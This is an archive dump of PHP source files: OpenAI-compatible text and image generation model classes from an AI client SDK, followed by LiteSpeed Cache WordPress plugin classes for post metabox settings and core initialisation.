0.1.0 */ final public function generateTextResult(array $prompt): GenerativeAiResult { $httpTransporter = $this->getHttpTransporter(); $params = $this->prepareGenerateTextParams($prompt); $request = $this->createRequest(HttpMethodEnum::POST(), 'chat/completions', ['Content-Type' => 'application/json'], $params); // Add authentication credentials to the request. $request = $this->getRequestAuthentication()->authenticateRequest($request); // Send and process the request. $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); return $this->parseResponseToGenerativeAiResult($response); } /** * Prepares the given prompt and the model configuration into parameters for the API request. * * @since 0.1.0 * * @param list $prompt The prompt to generate text for. Either a single message or a list of messages * from a chat. * @return array The parameters for the API request. */ protected function prepareGenerateTextParams(array $prompt): array { $config = $this->getConfig(); $params = ['model' => $this->metadata()->getId(), 'messages' => $this->prepareMessagesParam($prompt, $config->getSystemInstruction())]; $outputModalities = $config->getOutputModalities(); if (is_array($outputModalities)) { $this->validateOutputModalities($outputModalities); if (count($outputModalities) > 1) { $params['modalities'] = $this->prepareOutputModalitiesParam($outputModalities); } } $candidateCount = $config->getCandidateCount(); if ($candidateCount !== null) { $params['n'] = $candidateCount; } $maxTokens = $config->getMaxTokens(); if ($maxTokens !== null) { $params['max_tokens'] = $maxTokens; } $temperature = $config->getTemperature(); if ($temperature !== null) { $params['temperature'] = $temperature; } $topP = $config->getTopP(); if ($topP !== null) { $params['top_p'] = $topP; } $stopSequences = $config->getStopSequences(); if (is_array($stopSequences)) { $params['stop'] = $stopSequences; } $presencePenalty = $config->getPresencePenalty(); if ($presencePenalty !== null) { $params['presence_penalty'] = $presencePenalty; } $frequencyPenalty = $config->getFrequencyPenalty(); if ($frequencyPenalty !== null) { $params['frequency_penalty'] = $frequencyPenalty; } $logprobs = $config->getLogprobs(); if ($logprobs !== null) { $params['logprobs'] = $logprobs; } $topLogprobs = $config->getTopLogprobs(); if ($topLogprobs !== null) { $params['top_logprobs'] = $topLogprobs; } $functionDeclarations = $config->getFunctionDeclarations(); if (is_array($functionDeclarations)) { $params['tools'] = $this->prepareToolsParam($functionDeclarations); } $outputMimeType = $config->getOutputMimeType(); if ('application/json' === $outputMimeType) { $outputSchema = $config->getOutputSchema(); $params['response_format'] = $this->prepareResponseFormatParam($outputSchema); } /* * Any custom options are added to the parameters as well. * This allows developers to pass other options that may be more niche or not yet supported by the SDK. */ $customOptions = $config->getCustomOptions(); foreach ($customOptions as $key => $value) { if (isset($params[$key])) { throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key)); } $params[$key] = $value; } return $params; } /** * Prepares the messages parameter for the API request. * * @since 0.1.0 * * @param list $messages The messages to prepare. * @param string|null $systemInstruction An optional system instruction to prepend to the messages. * @return list> The prepared messages parameter. */ protected function prepareMessagesParam(array $messages, ?string $systemInstruction = null): array { $messagesParam = array_map(function (Message $message): array { // Special case: Function response. $messageParts = $message->getParts(); if (count($messageParts) === 1 && $messageParts[0]->getType()->isFunctionResponse()) { $functionResponse = $messageParts[0]->getFunctionResponse(); if (!$functionResponse) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The function response typed message part must contain a function response.'); } return ['role' => 'tool', 'content' => json_encode($functionResponse->getResponse()), 'tool_call_id' => $functionResponse->getId()]; } $messageData = ['role' => $this->getMessageRoleString($message->getRole()), 'content' => array_values(array_filter(array_map([$this, 'getMessagePartContentData'], $messageParts)))]; // Only include tool_calls if there are any (OpenAI rejects empty arrays). $toolCalls = array_values(array_filter(array_map([$this, 'getMessagePartToolCallData'], $messageParts))); if (!empty($toolCalls)) { $messageData['tool_calls'] = $toolCalls; } return $messageData; }, $messages); if ($systemInstruction) { array_unshift($messagesParam, [ /* * TODO: Replace this with 'developer' in the future. * See https://platform.openai.com/docs/api-reference/chat/create#chat_create-messages */ 'role' => 'system', 'content' => [['type' => 'text', 'text' => $systemInstruction]], ]); } return $messagesParam; } /** * Returns the OpenAI API specific role string for the given message role. * * @since 0.1.0 * * @param MessageRoleEnum $role The message role. * @return string The role for the API request. */ protected function getMessageRoleString(MessageRoleEnum $role): string { if ($role === MessageRoleEnum::model()) { return 'assistant'; } return 'user'; } /** * Returns the OpenAI API specific content data for a message part. * * @since 0.1.0 * * @param MessagePart $part The message part to get the data for. * @return ?array The data for the message content part, or null if not applicable. * @throws InvalidArgumentException If the message part type or data is unsupported. */ protected function getMessagePartContentData(MessagePart $part): ?array { $type = $part->getType(); if ($type->isText()) { /* * The OpenAI Chat Completions API spec does not support annotating thought parts as input, * so we instead skip them. */ if ($part->getChannel()->isThought()) { return null; } return ['type' => 'text', 'text' => $part->getText()]; } if ($type->isFile()) { $file = $part->getFile(); if (!$file) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The file typed message part must contain a file.'); } if ($file->isRemote()) { if ($file->isImage()) { return ['type' => 'image_url', 'image_url' => ['url' => $file->getUrl()]]; } throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for remote file message part.', $file->getMimeType())); } // Else, it is an inline file. if ($file->isImage()) { return ['type' => 'image_url', 'image_url' => ['url' => $file->getDataUri()]]; } if ($file->isAudio()) { return ['type' => 'input_audio', 'input_audio' => ['data' => $file->getBase64Data(), 'format' => $file->getMimeTypeObject()->toExtension()]]; } throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for inline file message part.', $file->getMimeType())); } if ($type->isFunctionCall()) { // Skip, as this is separately included. See `getMessagePartToolCallData()`. return null; } if ($type->isFunctionResponse()) { // Special case: Function response. throw new InvalidArgumentException('The API only allows a single function response, as the only content of the message.'); } throw new InvalidArgumentException(sprintf('Unsupported message part type "%s".', $type)); } /** * Returns the OpenAI API specific tool calls data for a message part. * * @since 0.1.0 * * @param MessagePart $part The message part to get the data for. * @return ?array The data for the message tool call part, or null if not applicable. * @throws InvalidArgumentException If the message part type or data is unsupported. */ protected function getMessagePartToolCallData(MessagePart $part): ?array { $type = $part->getType(); if ($type->isFunctionCall()) { $functionCall = $part->getFunctionCall(); if (!$functionCall) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The function call typed message part must contain a function call.'); } $args = $functionCall->getArgs(); /* * Ensure null or empty arrays become empty objects for JSON encoding. * While in theory the JSON schema could also dictate a type of * 'array', in practice function arguments are typically of type * 'object'. More importantly, the OpenAI API specification seems * to expect that, and does not support passing arrays as the root * value. The null check handles the case where FunctionCall normalizes * empty arrays to null. */ if ($args === null || is_array($args) && count($args) === 0) { $args = new \stdClass(); } return ['type' => 'function', 'id' => $functionCall->getId(), 'function' => ['name' => $functionCall->getName(), 'arguments' => json_encode($args)]]; } // All other types are handled in `getMessagePartContentData()`. return null; } /** * Validates that the given output modalities to ensure that at least one output modality is text. * * @since 0.1.0 * * @param array $outputModalities The output modalities to validate. * @throws InvalidArgumentException If no text output modality is present. */ protected function validateOutputModalities(array $outputModalities): void { // If no output modalities are set, it's fine, as we can assume text. if (count($outputModalities) === 0) { return; } foreach ($outputModalities as $modality) { if ($modality->isText()) { return; } } throw new InvalidArgumentException('A text output modality must be present when generating text.'); } /** * Prepares the output modalities parameter for the API request. * * @since 0.1.0 * * @param array $modalities The modalities to prepare. * @return list The prepared modalities parameter. */ protected function prepareOutputModalitiesParam(array $modalities): array { $prepared = []; foreach ($modalities as $modality) { if ($modality->isText()) { $prepared[] = 'text'; } elseif ($modality->isImage()) { $prepared[] = 'image'; } elseif ($modality->isAudio()) { $prepared[] = 'audio'; } else { throw new InvalidArgumentException(sprintf('Unsupported output modality "%s".', $modality)); } } return $prepared; } /** * Prepares the tools parameter for the API request. * * @since 0.1.0 * * @param list $functionDeclarations The function declarations. * @return list> The prepared tools parameter. */ protected function prepareToolsParam(array $functionDeclarations): array { $tools = []; foreach ($functionDeclarations as $functionDeclaration) { $tools[] = ['type' => 'function', 'function' => $functionDeclaration->toArray()]; } return $tools; } /** * Prepares the response format parameter for the API request. * * This is only called if the output MIME type is `application/json`. * * @since 0.1.0 * * @param array|null $outputSchema The output schema. * @return array The prepared response format parameter. */ protected function prepareResponseFormatParam(?array $outputSchema): array { if (is_array($outputSchema)) { return ['type' => 'json_schema', 'json_schema' => $outputSchema]; } return ['type' => 'json_object']; } /** * Creates a request object for the provider's API. * * Implementations should use $this->getRequestOptions() to attach any * configured request options to the Request. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to a generative AI result. * * @since 0.1.0 * * @param Response $response The response from the API endpoint. * @return GenerativeAiResult The parsed generative AI result. */ protected function parseResponseToGenerativeAiResult(Response $response): GenerativeAiResult { /** @var ResponseData $responseData */ $responseData = $response->getData(); if (!isset($responseData['choices']) || !$responseData['choices']) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'choices'); } if (!is_array($responseData['choices'])) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'choices', 'The value must be an array.'); } $candidates = []; foreach ($responseData['choices'] as $index => $choiceData) { if (!is_array($choiceData) || array_is_list($choiceData)) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must be an associative array.'); } $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index); } $id = isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : ''; if (isset($responseData['usage']) && is_array($responseData['usage'])) { $usage = $responseData['usage']; $tokenUsage = new TokenUsage($usage['prompt_tokens'] ?? 0, $usage['completion_tokens'] ?? 0, $usage['total_tokens'] ?? 0); } else { $tokenUsage = new TokenUsage(0, 0, 0); } // Use any other data from the response as provider-specific response metadata. $additionalData = $responseData; unset($additionalData['id'], $additionalData['choices'], $additionalData['usage']); return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $additionalData); } /** * Parses a single choice from the API response into a Candidate object. * * @since 0.1.0 * * @param ChoiceData $choiceData The choice data from the API response. * @param int $index The index of the choice in the choices array. * @return Candidate The parsed candidate. * @throws RuntimeException If the choice data is invalid. */ protected function parseResponseChoiceToCandidate(array $choiceData, int $index): Candidate { if (!isset($choiceData['message']) || !is_array($choiceData['message']) || array_is_list($choiceData['message'])) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].message"); } if (!isset($choiceData['finish_reason']) || !is_string($choiceData['finish_reason'])) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason"); } $messageData = $choiceData['message']; $message = $this->parseResponseChoiceMessage($messageData, $index); switch ($choiceData['finish_reason']) { case 'stop': $finishReason = FinishReasonEnum::stop(); break; case 'length': $finishReason = FinishReasonEnum::length(); break; case 'content_filter': $finishReason = FinishReasonEnum::contentFilter(); break; case 'tool_calls': $finishReason = FinishReasonEnum::toolCalls(); break; default: throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason", sprintf('Invalid finish reason "%s".', $choiceData['finish_reason'])); } return new Candidate($message, $finishReason); } /** * Parses the message from a choice in the API response. * * @since 0.1.0 * * @param MessageData $messageData The message data from the API response. * @param int $index The index of the choice in the choices array. * @return Message The parsed message. */ protected function parseResponseChoiceMessage(array $messageData, int $index): Message { $role = isset($messageData['role']) && 'user' === $messageData['role'] ? MessageRoleEnum::user() : MessageRoleEnum::model(); $parts = $this->parseResponseChoiceMessageParts($messageData, $index); return new Message($role, $parts); } /** * Parses the message parts from a choice in the API response. * * @since 0.1.0 * * @param MessageData $messageData The message data from the API response. * @param int $index The index of the choice in the choices array. * @return MessagePart[] The parsed message parts. */ protected function parseResponseChoiceMessageParts(array $messageData, int $index): array { $parts = []; if (isset($messageData['reasoning_content']) && is_string($messageData['reasoning_content'])) { $parts[] = new MessagePart($messageData['reasoning_content'], MessagePartChannelEnum::thought()); } if (isset($messageData['content']) && is_string($messageData['content'])) { $parts[] = new MessagePart($messageData['content']); } if (isset($messageData['tool_calls']) && is_array($messageData['tool_calls'])) { foreach ($messageData['tool_calls'] as $toolCallIndex => $toolCallData) { $toolCallPart = $this->parseResponseChoiceMessageToolCallPart($toolCallData); if (!$toolCallPart) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].message.tool_calls[{$toolCallIndex}]", 'The response includes a tool call of an unexpected type.'); } $parts[] = $toolCallPart; } } return $parts; } /** * Parses a tool call part from the API response. * * @since 0.1.0 * * @param ToolCallData $toolCallData The tool call data from the API response. * @return MessagePart|null The parsed message part for the tool call, or null if not applicable. */ protected function parseResponseChoiceMessageToolCallPart(array $toolCallData): ?MessagePart { /* * For now, only function calls are supported. * * Not all OpenAI compatible APIs include a 'type' key, so we only check its value if it is set. */ if (isset($toolCallData['type']) && 'function' !== $toolCallData['type'] || !isset($toolCallData['function']) || !is_array($toolCallData['function'])) { return null; } $functionArguments = is_string($toolCallData['function']['arguments']) ? json_decode($toolCallData['function']['arguments'], \true) : $toolCallData['function']['arguments']; $functionCall = new FunctionCall(isset($toolCallData['id']) && is_string($toolCallData['id']) ? $toolCallData['id'] : null, isset($toolCallData['function']['name']) && is_string($toolCallData['function']['name']) ? $toolCallData['function']['name'] : null, $functionArguments); return new MessagePart($functionCall); } } Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.php000064400000031733152076731350026132 0ustar00, * usage?: UsageData * } */ abstract class AbstractOpenAiCompatibleImageGenerationModel extends AbstractApiBasedModel implements ImageGenerationModelInterface { /** * {@inheritDoc} * * @since 0.1.0 */ public function generateImageResult(array $prompt): GenerativeAiResult { $httpTransporter = $this->getHttpTransporter(); $params = $this->prepareGenerateImageParams($prompt); $request = $this->createRequest(HttpMethodEnum::POST(), 'images/generations', ['Content-Type' => 'application/json'], $params); // Add authentication credentials to the request. $request = $this->getRequestAuthentication()->authenticateRequest($request); // Send and process the request. $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); return $this->parseResponseToGenerativeAiResult($response, isset($params['output_format']) && is_string($params['output_format']) ? "image/{$params['output_format']}" : 'image/png'); } /** * Prepares the given prompt and the model configuration into parameters for the API request. * * @since 0.1.0 * * @param list $prompt The prompt to generate an image for. Either a single message or a list of messages * from a chat. However as of today, OpenAI compatible image generation endpoints only * support a single user message. * @return ImageGenerationParams The parameters for the API request. */ protected function prepareGenerateImageParams(array $prompt): array { $config = $this->getConfig(); $params = ['model' => $this->metadata()->getId(), 'prompt' => $this->preparePromptParam($prompt)]; $candidateCount = $config->getCandidateCount(); if ($candidateCount !== null) { $params['n'] = $candidateCount; } $outputFileType = $config->getOutputFileType(); if ($outputFileType !== null) { $params['response_format'] = $outputFileType->isRemote() ? 'url' : 'b64_json'; } else { // The 'response_format' parameter is required, so we default to 'b64_json' if not set. $params['response_format'] = 'b64_json'; } $outputMimeType = $config->getOutputMimeType(); if ($outputMimeType !== null) { $params['output_format'] = preg_replace('/^image\//', '', $outputMimeType); } $outputMediaOrientation = $config->getOutputMediaOrientation(); $outputMediaAspectRatio = $config->getOutputMediaAspectRatio(); if ($outputMediaOrientation !== null || $outputMediaAspectRatio !== null) { $params['size'] = $this->prepareSizeParam($outputMediaOrientation, $outputMediaAspectRatio); } /* * Any custom options are added to the parameters as well. * This allows developers to pass other options that may be more niche or not yet supported by the SDK. */ $customOptions = $config->getCustomOptions(); foreach ($customOptions as $key => $value) { if (isset($params[$key])) { throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key)); } $params[$key] = $value; } /** @var ImageGenerationParams $params */ return $params; } /** * Prepares the prompt parameter for the API request. * * @since 0.1.0 * * @param list $messages The messages to prepare. However as of today, OpenAI compatible image generation * endpoints only support a single user message. * @return string The prepared prompt parameter. */ protected function preparePromptParam(array $messages): string { if (count($messages) !== 1) { throw new InvalidArgumentException('The API requires a single user message as prompt.'); } $message = $messages[0]; if (!$message->getRole()->isUser()) { throw new InvalidArgumentException('The API requires a user message as prompt.'); } $text = null; foreach ($message->getParts() as $part) { $text = $part->getText(); if ($text !== null) { break; } } if ($text === null) { throw new InvalidArgumentException('The API requires a single text message part as prompt.'); } return $text; } /** * Prepares the size parameter for the API request. * * @since 0.1.0 * * @param MediaOrientationEnum|null $orientation The desired media orientation. * @param string|null $aspectRatio The desired media aspect ratio. * @return string The prepared size parameter. */ protected function prepareSizeParam(?MediaOrientationEnum $orientation, ?string $aspectRatio): string { // Use aspect ratio if set, as it is more specific. if ($aspectRatio !== null) { switch ($aspectRatio) { case '1:1': return '1024x1024'; case '3:2': return '1536x1024'; case '7:4': return '1792x1024'; case '2:3': return '1024x1536'; case '4:7': return '1024x1792'; default: throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not supported.'); } } // This should always have a value, as the method is only called if at least one or the other is set. if ($orientation !== null) { if ($orientation->isLandscape()) { return '1536x1024'; } if ($orientation->isPortrait()) { return '1024x1536'; } } return '1024x1024'; } /** * Creates a request object for the provider's API. * * Implementations should use $this->getRequestOptions() to attach any * configured request options to the Request. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to a generative AI result. * * @since 0.1.0 * * @param Response $response The response from the API endpoint. * @param string $expectedMimeType The expected MIME type the response is in. * @return GenerativeAiResult The parsed generative AI result. */ protected function parseResponseToGenerativeAiResult(Response $response, string $expectedMimeType = 'image/png'): GenerativeAiResult { /** @var ResponseData $responseData */ $responseData = $response->getData(); if (!isset($responseData['data']) || !$responseData['data']) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'data'); } if (!is_array($responseData['data'])) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'data', 'The value must be an array.'); } $candidates = []; foreach ($responseData['data'] as $index => $choiceData) { if (!is_array($choiceData) || array_is_list($choiceData)) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "data[{$index}]", 'The value must be an associative array.'); } $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index, $expectedMimeType); } $id = $this->getResultId($responseData); if (isset($responseData['usage']) && is_array($responseData['usage'])) { $usage = $responseData['usage']; $tokenUsage = new TokenUsage($usage['input_tokens'] ?? 0, $usage['output_tokens'] ?? 0, $usage['total_tokens'] ?? 0); } else { $tokenUsage = new TokenUsage(0, 0, 0); } // Use any other data from the response as provider-specific response metadata. $providerMetadata = $responseData; unset($providerMetadata['id'], $providerMetadata['data'], $providerMetadata['usage']); return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $providerMetadata); } /** * Parses a single choice from the API response into a Candidate object. * * @since 0.1.0 * * @param ChoiceData $choiceData The choice data from the API response. * @param int $index The index of the choice in the choices array. * @param string $expectedMimeType The expected MIME type the response is in. * @return Candidate The parsed candidate. * @throws RuntimeException If the choice data is invalid. */ protected function parseResponseChoiceToCandidate(array $choiceData, int $index, string $expectedMimeType = 'image/png'): Candidate { if (isset($choiceData['url']) && is_string($choiceData['url'])) { $imageFile = new File($choiceData['url'], $expectedMimeType); } elseif (isset($choiceData['b64_json']) && is_string($choiceData['b64_json'])) { $imageFile = new File($choiceData['b64_json'], $expectedMimeType); } else { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must contain either a url or b64_json key with a string value.'); } $parts = [new MessagePart($imageFile)]; $message = new Message(MessageRoleEnum::model(), $parts); return new Candidate($message, FinishReasonEnum::stop()); } /** * Extracts the result ID from the API response data. * * @since 0.4.0 * * @param array $responseData The response data from the API. * @return string The result ID. */ protected function getResultId(array $responseData): string { return isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : ''; } } Providers/Enums/ToolTypeEnum.php000064400000001365152076731350012743 0ustar00_postmeta_settings = [ 'litespeed_no_cache' => __( 'Disable Cache', 'litespeed-cache' ), 'litespeed_no_image_lazy' => __( 'Disable Image Lazyload', 'litespeed-cache' ), 'litespeed_no_vpi' => __( 'Disable VPI', 'litespeed-cache' ), 'litespeed_vpi_list' => __( 'Viewport Images', 'litespeed-cache' ), 'litespeed_vpi_list_mobile' => __( 'Viewport Images', 'litespeed-cache' ) . ' - ' . __( 'Mobile', 'litespeed-cache' ), ]; } /** * Register post edit settings. * * @since 4.7 * @return void */ public function register_settings() { add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] ); add_action( 'save_post', [ $this, 'save_meta_box_settings' ], 15, 2 ); add_action( 'attachment_updated', [ $this, 'save_meta_box_settings' ], 15, 2 ); } /** * Register meta box. * * @since 4.7 * * @param string $post_type Current post type. * @return void */ public function add_meta_boxes( $post_type ) { if ( apply_filters( 'litespeed_bypass_metabox', false, $post_type ) ) { return; } $post_type_obj = get_post_type_object( $post_type ); if ( ! empty( $post_type_obj ) && ! $post_type_obj->public ) { self::debug( 'post type public=false, bypass add_meta_boxes' ); return; } add_meta_box( 'litespeed_meta_boxes', 'LiteSpeed', [ $this, 'meta_box_options' ], $post_type, 'side', 'core' ); } /** * Show meta box content. * * @since 4.7 * @return void */ public function meta_box_options() { require_once LSCWP_DIR . 'tpl/inc/metabox.php'; } /** * Save settings. * * @since 4.7 * * @param int $post_id Post ID. * @param \WP_Post $post Post object. * @return void */ public function save_meta_box_settings( $post_id, $post ) { global $pagenow; self::debug( 'Maybe save post2 [post_id] ' . $post_id ); if ( 'post.php' !== $pagenow || ! $post || ! is_object( $post ) ) { return; } if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) { return; } if ( ! $this->cls( 'Router' )->verify_nonce( self::POST_NONCE_ACTION ) ) { return; } self::debug( 'Saving post [post_id] ' . $post_id ); foreach ($this->_postmeta_settings as $k => $v) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput $val = isset($_POST[$k]) ? $_POST[$k] : false; $this->save($post_id, $k, $val); } } /** * Load setting per post. * * @since 4.7 * * @param string $conf Meta key to load. * @param int|bool $post_id Optional specific post ID, defaults to current query object. * @return mixed|null Meta value or null when not set. */ public function setting( $conf, $post_id = false ) { // Check if has metabox non-cacheable setting or not. if ( ! $post_id ) { $home_id = (int) get_option( 'page_for_posts' ); if ( is_singular() ) { $post_id = get_the_ID(); } elseif ( $home_id > 0 && is_home() ) { $post_id = $home_id; } } $val = $post_id ? get_post_meta( $post_id, $conf, true ) : null; if ( $val ) { return $val; } return null; } /** * Save a metabox value. * * @since 4.7 * * @param int $post_id Post ID. * @param string $name Meta key name. * @param string|bool $val Value to save. * @param bool $is_append If true, append to existing list values. * @return void */ public function save( $post_id, $name, $val, $is_append = false ) { if ( false !== strpos( $name, VPI::POST_META ) ) { $val = Utility::sanitize_lines( $val, 'basename,drop_webp' ); } // Load existing data if has set. if ( $is_append ) { $existing_data = $this->setting( $name, $post_id ); if ( $existing_data ) { $existing_data = Utility::sanitize_lines( $existing_data, 'basename' ); $val = array_unique( array_merge( $val, $existing_data ) ); } } if ( $val ) { update_post_meta( $post_id, $name, $val ); } else { delete_post_meta( $post_id, $name ); } } /** * Load exclude images per post. * * @since 4.7 * * @param array $exclude_list Current exclude list. * @return array Modified exclude list. */ public function lazy_img_excludes( $exclude_list ) { $is_mobile = $this->_separate_mobile(); $excludes = $this->setting( $is_mobile ? VPI::POST_META_MOBILE : VPI::POST_META ); if ( null !== $excludes ) { $excludes = Utility::sanitize_lines( $excludes, 'basename' ); if ( $excludes ) { // Check if contains `data:` (invalid result, need to clear existing result) or not. if ( Utility::str_hit_array( 'data:', $excludes ) ) { $this->cls( 'VPI' )->add_to_queue(); } else { return array_merge( $exclude_list, $excludes ); } } return $exclude_list; } $this->cls( 'VPI' )->add_to_queue(); return $exclude_list; } } core.cls.php000064400000051742152077520260007004 0ustar00cls( 'Core' ) * * @since 1.0.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Core * * @since 1.0.0 */ class Core extends Root { const NAME = 'LiteSpeed Cache'; const PLUGIN_NAME = 'litespeed-cache'; const PLUGIN_FILE = 'litespeed-cache/litespeed-cache.php'; const VER = LSCWP_V; const ACTION_DISMISS = 'dismiss'; const ACTION_PURGE_BY = 'PURGE_BY'; const ACTION_PURGE_EMPTYCACHE = 'PURGE_EMPTYCACHE'; const ACTION_QS_PURGE = 'PURGE'; const ACTION_QS_PURGE_SINGLE = 'PURGESINGLE'; // This will be same as `ACTION_QS_PURGE` (purge single URL only) const ACTION_QS_SHOW_HEADERS = 'SHOWHEADERS'; const ACTION_QS_PURGE_ALL = 'purge_all'; const ACTION_QS_PURGE_EMPTYCACHE = 'empty_all'; const ACTION_QS_NOCACHE = 'NOCACHE'; const HEADER_DEBUG = 'X-LiteSpeed-Debug'; /** * Whether to show debug headers. * * @var bool * @since 1.0.0 */ protected static $debug_show_header = false; /** * Footer comment buffer. * * @var string * @since 1.0.0 */ private $footer_comment = ''; /** * Define the core functionality of the plugin. * * Set the plugin name and the plugin version that can be used throughout the plugin. * Load the dependencies, define the locale, and set the hooks for the admin area and * the public-facing side of the site. * * @since 1.0.0 */ public function __construct() { ! defined( 'LSCWP_TS_0' ) && define( 'LSCWP_TS_0', microtime( true ) ); $this->cls( 'Conf' )->init(); /** * Load API hooks * * @since 3.0 */ $this->cls( 'API' )->init(); if ( defined( 'LITESPEED_ON' ) ) { // Load third party detection if lscache enabled. include_once LSCWP_DIR . 'thirdparty/entry.inc.php'; } if ( $this->conf( Base::O_DEBUG_DISABLE_ALL ) || Debug2::is_tmp_disable() ) { ! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true ); } /** * Register plugin activate/deactivate/uninstall hooks * NOTE: this can't be moved under after_setup_theme, otherwise activation will be bypassed * * @since 2.7.1 Disabled admin&CLI check to make frontend able to enable cache too */ $plugin_file = LSCWP_DIR . 'litespeed-cache.php'; register_activation_hook( $plugin_file, [ __NAMESPACE__ . '\Activation', 'register_activation' ] ); register_deactivation_hook( $plugin_file, [ __NAMESPACE__ . '\Activation', 'register_deactivation' ] ); register_uninstall_hook( $plugin_file, __NAMESPACE__ . '\Activation::uninstall_litespeed_cache' ); if ( defined( 'LITESPEED_ON' ) ) { // Register purge_all actions $purge_all_events = $this->conf( Base::O_PURGE_HOOK_ALL ); // Purge all on upgrade if ( $this->conf( Base::O_PURGE_ON_UPGRADE ) ) { $purge_all_events[] = 'automatic_updates_complete'; $purge_all_events[] = 'upgrader_process_complete'; $purge_all_events[] = 'admin_action_do-plugin-upgrade'; } foreach ( $purge_all_events as $event ) { // Don't allow hook to update_option because purge_all will cause infinite loop of update_option if ( in_array( $event, [ 'update_option' ], true ) ) { continue; } add_action( $event, __NAMESPACE__ . '\Purge::purge_all' ); } // Add headers to site health check for full page cache // @since 5.4 add_filter( 'site_status_page_cache_supported_cache_headers', function ( $cache_headers ) { $is_cache_hit = function ( $header_value ) { return false !== strpos( strtolower( $header_value ), 'hit' ); }; $cache_headers['x-litespeed-cache'] = $is_cache_hit; $cache_headers['x-lsadc-cache'] = $is_cache_hit; $cache_headers['x-qc-cache'] = $is_cache_hit; return $cache_headers; } ); } add_action( 'after_setup_theme', [ $this, 'init' ] ); // Check if there is a purge request in queue if ( ! defined( 'LITESPEED_CLI' ) ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE ); if ( $purge_queue && '-1' !== $purge_queue ) { $this->http_header( $purge_queue ); Debug2::debug( '[Core] Purge Queue found&sent: ' . $purge_queue ); } if ( '-1' !== $purge_queue ) { Purge::update_option( Purge::DB_QUEUE, '-1' ); // Use -1 to bypass purge while still enable db update as WP's update_option will check value===false to bypass update } $purge_queue = Purge::get_option( Purge::DB_QUEUE2 ); if ( $purge_queue && '-1' !== $purge_queue ) { $this->http_header( $purge_queue ); Debug2::debug( '[Core] Purge2 Queue found&sent: ' . $purge_queue ); } if ( '-1' !== $purge_queue ) { Purge::update_option( Purge::DB_QUEUE2, '-1' ); } } /** * Hook internal REST * * @since 2.9.4 */ $this->cls( 'REST' ); /** * Hook wpnonce function * * Note: ESI nonce won't be available until hook after_setup_theme ESI init due to Guest Mode concern * * @since 4.1 */ if ( $this->cls( 'Router' )->esi_enabled() && ! function_exists( 'wp_create_nonce' ) ) { Debug2::debug( '[ESI] Overwrite wp_create_nonce()' ); litespeed_define_nonce_func(); } } /** * The plugin initializer. * * This function checks if the cache is enabled and ready to use, then determines what actions need to be set up based on the type of user and page accessed. Output is buffered if the cache is enabled. * * NOTE: WP user doesn't init yet * * @since 1.0.0 */ public function init() { /** * Added hook before init * 3rd party preload hooks will be fired here too (e.g. Divi disable all in edit mode) * * @since 1.6.6 * @since 2.6 Added filter to all config values in Conf */ do_action( 'litespeed_init' ); add_action( 'wp_ajax_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' ); add_action( 'wp_ajax_nopriv_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' ); // In `after_setup_theme`, before `init` hook $this->cls( 'Activation' )->auto_update(); if ( is_admin() && ! wp_doing_ajax() ) { $this->cls( 'Admin' ); 